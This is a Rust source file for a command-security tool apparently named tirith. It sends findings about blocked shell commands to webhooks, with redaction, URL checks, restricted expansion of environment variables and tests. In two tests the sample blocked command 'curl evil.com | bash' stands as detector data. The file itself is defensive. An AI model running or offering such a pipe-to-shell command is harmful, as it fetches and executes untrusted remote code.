1use crate::policy::WebhookConfig;
6use crate::verdict::{Severity, Verdict};
7
8#[cfg(unix)]
14pub fn dispatch(
15 verdict: &Verdict,
16 command_preview: &str,
17 webhooks: &[WebhookConfig],
18 custom_dlp_patterns: &[String],
19) {
20 if webhooks.is_empty() {
21 return;
22 }
23
24 let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
26
27 let max_severity = verdict
28 .findings
29 .iter()
30 .map(|f| f.severity)
31 .max()
32 .unwrap_or(Severity::Info);
33
34 for wh in webhooks {
35 if max_severity < wh.min_severity {
36 continue;
37 }
38
39 if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
41 eprintln!("tirith: webhook: skipping {}: {reason}", wh.url);
42 continue;
43 }
44
45 let payload = build_payload(verdict, &redacted_preview, wh);
46 let url = wh.url.clone();
47 let headers = expand_env_headers(&wh.headers);
48
49 std::thread::spawn(move || {
50 if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
51 eprintln!("tirith: webhook delivery to {url} failed: {e}");
52 }
53 });
54 }
55}
56
57#[cfg(not(unix))]
59pub fn dispatch(
60 _verdict: &Verdict,
61 _command_preview: &str,
62 _webhooks: &[WebhookConfig],
63 _custom_dlp_patterns: &[String],
64) {
65}
66
67#[cfg(unix)]
69fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
70 if let Some(ref template) = wh.payload_template {
71 let rule_ids: Vec<String> = verdict
72 .findings
73 .iter()
74 .map(|f| f.rule_id.to_string())
75 .collect();
76 let max_severity = verdict
77 .findings
78 .iter()
79 .map(|f| f.severity)
80 .max()
81 .unwrap_or(Severity::Info);
82
83 let result = template
84 .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
85 .replace("{{command_preview}}", &sanitize_for_json(command_preview))
86 .replace(
87 "{{action}}",
88 &sanitize_for_json(&format!("{:?}", verdict.action)),
89 )
90 .replace(
91 "{{severity}}",
92 &sanitize_for_json(&max_severity.to_string()),
93 )
94 .replace("{{finding_count}}", &verdict.findings.len().to_string());
95 if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
97 return result;
98 }
99 eprintln!(
100 "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
101 );
102 }
103
104 let rule_ids: Vec<String> = verdict
106 .findings
107 .iter()
108 .map(|f| f.rule_id.to_string())
109 .collect();
110 let max_severity = verdict
111 .findings
112 .iter()
113 .map(|f| f.severity)
114 .max()
115 .unwrap_or(Severity::Info);
116
117 serde_json::json!({
118 "event": "tirith_finding",
119 "action": format!("{:?}", verdict.action),
120 "severity": max_severity.to_string(),
121 "rule_ids": rule_ids,
122 "finding_count": verdict.findings.len(),
123 "command_preview": sanitize_for_json(command_preview),
124 })
125 .to_string()
126}
127
128#[cfg(unix)]
130fn expand_env_headers(
131 headers: &std::collections::HashMap<String, String>,
132) -> Vec<(String, String)> {
133 headers
134 .iter()
135 .map(|(k, v)| {
136 let expanded = expand_env_value(v);
137 (k.clone(), expanded)
138 })
139 .collect()
140}
141
142#[cfg(unix)]
144fn expand_env_value(input: &str) -> String {
145 let mut result = String::with_capacity(input.len());
146 let mut chars = input.chars().peekable();
147
148 while let Some(c) = chars.next() {
149 if c == '$' {
150 if chars.peek() == Some(&'{') {
151 chars.next(); let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
153 if !var_name.starts_with("TIRITH_") {
154 eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
155 } else {
156 match std::env::var(&var_name) {
157 Ok(val) => result.push_str(&val),
158 Err(_) => {
159 eprintln!("tirith: webhook: warning: env var '{var_name}' is not set");
160 }
161 }
162 }
163 } else {
164 let mut var_name = String::new();
166 while let Some(&ch) = chars.peek() {
167 if ch.is_ascii_alphanumeric() || ch == '_' {
168 var_name.push(ch);
169 chars.next();
170 } else {
171 break; }
173 }
174 if !var_name.is_empty() {
175 if !var_name.starts_with("TIRITH_") {
176 eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
177 } else {
178 match std::env::var(&var_name) {
179 Ok(val) => result.push_str(&val),
180 Err(_) => {
181 eprintln!(
182 "tirith: webhook: warning: env var '{var_name}' is not set"
183 );
184 }
185 }
186 }
187 }
188 }
189 } else {
190 result.push(c);
191 }
192 }
193
194 result
195}
196
197#[cfg(unix)]
199fn send_with_retry(
200 url: &str,
201 payload: &str,
202 headers: &[(String, String)],
203 max_attempts: u32,
204) -> Result<(), String> {
205 let client = reqwest::blocking::Client::builder()
206 .timeout(std::time::Duration::from_secs(10))
207 .build()
208 .map_err(|e| format!("client build: {e}"))?;
209
210 for attempt in 0..max_attempts {
211 let mut req = client
212 .post(url)
213 .header("Content-Type", "application/json")
214 .body(payload.to_string());
215
216 for (key, value) in headers {
217 req = req.header(key, value);
218 }
219
220 match req.send() {
221 Ok(resp) if resp.status().is_success() => return Ok(()),
222 Ok(resp) => {
223 let status = resp.status();
224 if status.is_client_error() {
226 return Err(format!("HTTP {status} (non-retriable client error)"));
227 }
228 if attempt + 1 < max_attempts {
229 let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
230 std::thread::sleep(delay);
231 } else {
232 return Err(format!("HTTP {status} after {max_attempts} attempts"));
233 }
234 }
235 Err(e) => {
236 if attempt + 1 < max_attempts {
237 let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
238 std::thread::sleep(delay);
239 } else {
240 return Err(format!("{e} after {max_attempts} attempts"));
241 }
242 }
243 }
244 }
245
246 Err("exhausted retries".to_string())
247}
248
249fn sanitize_for_json(input: &str) -> String {
251 let truncated: String = input.chars().take(200).collect();
252 let json_val = serde_json::Value::String(truncated);
254 let s = json_val.to_string();
256 s[1..s.len() - 1].to_string()
257}
258
259#[cfg(test)]
260mod tests {
261 use super::*;
262
263 #[test]
264 fn test_sanitize_for_json() {
265 assert_eq!(sanitize_for_json("hello"), "hello");
266 assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
267 assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
268 }
269
270 #[test]
271 fn test_sanitize_for_json_truncates() {
272 let long = "x".repeat(500);
273 let result = sanitize_for_json(&long);
274 assert_eq!(result.len(), 200);
275 }
276
277 #[cfg(unix)]
278 #[test]
279 fn test_expand_env_value() {
280 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
281 unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
282 assert_eq!(
283 expand_env_value("Bearer $TIRITH_TEST_WH"),
284 "Bearer secret123"
285 );
286 assert_eq!(
287 expand_env_value("Bearer ${TIRITH_TEST_WH}"),
288 "Bearer secret123"
289 );
290 assert_eq!(expand_env_value("no vars"), "no vars");
291 unsafe { std::env::remove_var("TIRITH_TEST_WH") };
292 }
293
294 #[cfg(unix)]
295 #[test]
296 fn test_expand_env_value_preserves_delimiter() {
297 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
298 unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
300 assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
301 assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
302 unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
303 }
304
305 #[cfg(unix)]
306 #[test]
307 fn test_build_default_payload() {
308 use crate::verdict::{Action, Finding, RuleId, Timings};
309
310 let verdict = Verdict {
311 action: Action::Block,
312 findings: vec![Finding {
313 rule_id: RuleId::CurlPipeShell,
314 severity: Severity::High,
315 title: "test".into(),
316 description: "test desc".into(),
317 evidence: vec![],
318 human_view: None,
319 agent_view: None,
320 mitre_id: None,
321 custom_rule_id: None,
322 }],
323 tier_reached: 3,
324 bypass_requested: false,
325 bypass_honored: false,
326 interactive_detected: false,
327 policy_path_used: None,
328 timings_ms: Timings::default(),
329 urls_extracted_count: None,
330 requires_approval: None,
331 approval_timeout_secs: None,
332 approval_fallback: None,
333 approval_rule: None,
334 approval_description: None,
335 };
336
337 let wh = WebhookConfig {
338 url: "https://example.com/webhook".into(),
339 min_severity: Severity::High,
340 headers: std::collections::HashMap::new(),
341 payload_template: None,
342 };
343
344 let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
345 let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
346 assert_eq!(parsed["event"], "tirith_finding");
347 assert_eq!(parsed["finding_count"], 1);
348 assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
349 }
350
351 #[cfg(unix)]
352 #[test]
353 fn test_build_template_payload() {
354 use crate::verdict::{Action, Finding, RuleId, Timings};
355
356 let verdict = Verdict {
357 action: Action::Block,
358 findings: vec![Finding {
359 rule_id: RuleId::CurlPipeShell,
360 severity: Severity::High,
361 title: "test".into(),
362 description: "test desc".into(),
363 evidence: vec![],
364 human_view: None,
365 agent_view: None,
366 mitre_id: None,
367 custom_rule_id: None,
368 }],
369 tier_reached: 3,
370 bypass_requested: false,
371 bypass_honored: false,
372 interactive_detected: false,
373 policy_path_used: None,
374 timings_ms: Timings::default(),
375 urls_extracted_count: None,
376 requires_approval: None,
377 approval_timeout_secs: None,
378 approval_fallback: None,
379 approval_rule: None,
380 approval_description: None,
381 };
382
383 let wh = WebhookConfig {
384 url: "https://example.com/webhook".into(),
385 min_severity: Severity::High,
386 headers: std::collections::HashMap::new(),
387 payload_template: Some(
388 r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
389 ),
390 };
391
392 let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
393 assert!(payload.contains("curl_pipe_shell"));
394 assert!(payload.contains("curl evil.com"));
395 }
396}